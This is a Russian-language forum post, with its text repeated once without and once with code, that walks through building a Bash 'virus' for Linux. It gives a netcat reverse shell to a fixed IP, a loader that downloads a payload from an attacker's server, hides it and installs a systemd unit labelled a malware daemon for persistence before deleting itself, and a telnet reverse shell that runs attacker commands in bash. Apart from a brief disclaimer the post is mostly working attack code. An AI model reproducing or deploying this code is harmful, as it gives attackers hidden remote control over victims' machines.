Всем читающим привет, сегодня хотелось бы поговорить о вирусах на Bash. Начнём с элементарного.
Статья написана в целях ознакомления и не призывает к действию!
Одним из самых основных инструментов сетевого взаимодействия в Linux является netcat и с помощью него можно создать простейший вирус, буквально в одну строку.
Эта команда дарует вам шелл на хост жертвы.
Но сейчас это уже не работает, т.к. вряд ли безопасно выполнять команды принятые по незащищённому соединению и это понимают все. Поэтому сейчас почти ни в одном линуксе не будет работать опция -e.
Теперь перейдём к более интересным вещам, а именно созданию более-менее полноценного реверс-шелла. Где-то с костылями, где-то со странными решениями, но для меня это скорее исследовательская работа.
Для начала на нашу тестовую мшину нужно установить netcat.
Теперь выполним команду
Теперь всё, что придёт на выбранный порт будет передано в bash и исполнено. Поскольку сейчас у меня есть доступ к обеим машинам я могу увидеть, что команды не исполняются, кроме того, ответ не отправляется на атакующий хост. Причина здесь в том, что команда даже если выполнится, выполнится локально и никуда ничего не отправит, но с этим мы разберёмся позже. Для начала решим проблему невыполнения команд. В терминале жертвы видим ошибку, рассказывающую нам о том, что она не знает, что такое $/lsr/
Я думал всё решится обрезкой лишних символов посредству cut или sed, но было решено резко сменить вектор разработки и разделить наш вирус на несколько файлов. Первый будет загрузчик, разумеется)
Загрузчик должен загружать, верно? Да! Погнали. Файлики самого вируса будем получать через wget с заранее созданного дедика на Я.Клауде. Я поставлю там nginx и просто кину вирус в директорию сайта. Возможно потом я разберусь с js и сделаю загрузку вируса при заходе на сайт. Но это потом. На сервере пока лежит файл-затычка, который мы будем скачивать, а сейчас создаём лоадер.
Вся задача лоадера заключается в менее чем десяти строчках
Построчно объясняю:
В файле демона также ничего сложного, простейший юнит:
Построчно:
А теперь к самому интересному – самому шеллу. Сейчас такое нагромождение выглядит нелепо, но если статья зайдёт, я буду дорабатывать этот вирус и все эти нагромождения станут основой для будущей модернизации, тем самым я глубже погружу вас и себя в мир Bash скриптов, вирусного ПО и вирусных Bash-скриптов.
Спустя пару вечеров, проведённых в мучениях netcat’а, я наконец решился взглянуть в другую сторону и увидел там telnet, который дал мне шелл с третьей попытки. Вот листинг:
Всё, что здесь есть, это указание исполнителя и пайплайн, в котором telnet принимает команду на одном порту, выполняет её и отправляет вывод на другой порт. Конечно, это обязывает держать две слушающих сессии netcat одновременно, но это не так уж и костыльно, мне кажется.
Получилось немного, но работа, поверьте, была проделана немалая.
Надеюсь вам понравилось и на этом с вами прощаюсь.
Статья написана в целях ознакомления и не призывает к действию!
Одним из самых основных инструментов сетевого взаимодействия в Linux является netcat и с помощью него можно создать простейший вирус, буквально в одну строку.
Эта команда дарует вам шелл на хост жертвы.
Bash:
nc -nv 192.168.0.178 4444 -e /bin/bash
Но сейчас это уже не работает, т.к. вряд ли безопасно выполнять команды принятые по незащищённому соединению и это понимают все. Поэтому сейчас почти ни в одном линуксе не будет работать опция -e.
Теперь перейдём к более интересным вещам, а именно созданию более-менее полноценного реверс-шелла. Где-то с костылями, где-то со странными решениями, но для меня это скорее исследовательская работа.
Для начала на нашу тестовую мшину нужно установить netcat.
Bash:
sudo apt install netcat
Теперь выполним команду
Bash:
nc -l <port> | /bin/bash
Теперь всё, что придёт на выбранный порт будет передано в bash и исполнено. Поскольку сейчас у меня есть доступ к обеим машинам я могу увидеть, что команды не исполняются, кроме того, ответ не отправляется на атакующий хост. Причина здесь в том, что команда даже если выполнится, выполнится локально и никуда ничего не отправит, но с этим мы разберёмся позже. Для начала решим проблему невыполнения команд. В терминале жертвы видим ошибку, рассказывающую нам о том, что она не знает, что такое $/lsr/
Я думал всё решится обрезкой лишних символов посредству cut или sed, но было решено резко сменить вектор разработки и разделить наш вирус на несколько файлов. Первый будет загрузчик, разумеется)
Загрузчик должен загружать, верно? Да! Погнали. Файлики самого вируса будем получать через wget с заранее созданного дедика на Я.Клауде. Я поставлю там nginx и просто кину вирус в директорию сайта. Возможно потом я разберусь с js и сделаю загрузку вируса при заходе на сайт. Но это потом. На сервере пока лежит файл-затычка, который мы будем скачивать, а сейчас создаём лоадер.
Вся задача лоадера заключается в менее чем десяти строчках
Bash:
#!/bin/bash
wget <ip>/.virus.service
wget <ip>/.virus.sh
sudo chmod +x .virus.sh
mkdir /usr/share/doc/.virus
sudo mv .virus.sh /usr/share/doc/.virus/.virus.sh
sudo mv .virus.service /lib/systemd/system/virus.service
sudo systemctl enable virus.service && sudo systemctl start virus.service
sudo rm loader.sh
Построчно объясняю:
- Указываем исполнителя;
- Скачиваем файл демона;
- Скачиваем скрипт;
- Даём скрипту права выполнения;
- Создаём скрытую папку для скрипта вируса;
- Перемещаем сам вирус в его папку;
- Перемещаем демона в папку;
- Включаем автозапуск и запускаем вирус;
- Удаляем лоадер, он больше не нужен.
В файле демона также ничего сложного, простейший юнит:
Код:
[Unit]
Description=It’s malware daemon
After=multi-user.target
[Service]
Type=idle
ExecStart=/usr/share/doc/.virus/.virus.sh
[Install]
WantedBy=multi-user.target
Построчно:
- Объявление секции “Юнит”;
- Описание;
- Указание очереди запуска;
- Объявление секции “Сервис”;
- Определение типа – ожидающий;
- Файл скрипта;
- Объяление секции “Установки”;
- Указание очереди и приоритета запуска.
А теперь к самому интересному – самому шеллу. Сейчас такое нагромождение выглядит нелепо, но если статья зайдёт, я буду дорабатывать этот вирус и все эти нагромождения станут основой для будущей модернизации, тем самым я глубже погружу вас и себя в мир Bash скриптов, вирусного ПО и вирусных Bash-скриптов.
Спустя пару вечеров, проведённых в мучениях netcat’а, я наконец решился взглянуть в другую сторону и увидел там telnet, который дал мне шелл с третьей попытки. Вот листинг:
Bash:
#!/bin/bash
telnet <адрес атакующего> <порт> | /bin/bash | telnet <адрес атакующего> <другой порт>
Всё, что здесь есть, это указание исполнителя и пайплайн, в котором telnet принимает команду на одном порту, выполняет её и отправляет вывод на другой порт. Конечно, это обязывает держать две слушающих сессии netcat одновременно, но это не так уж и костыльно, мне кажется.
Получилось немного, но работа, поверьте, была проделана немалая.
Надеюсь вам понравилось и на этом с вами прощаюсь.
Последнее редактирование модератором: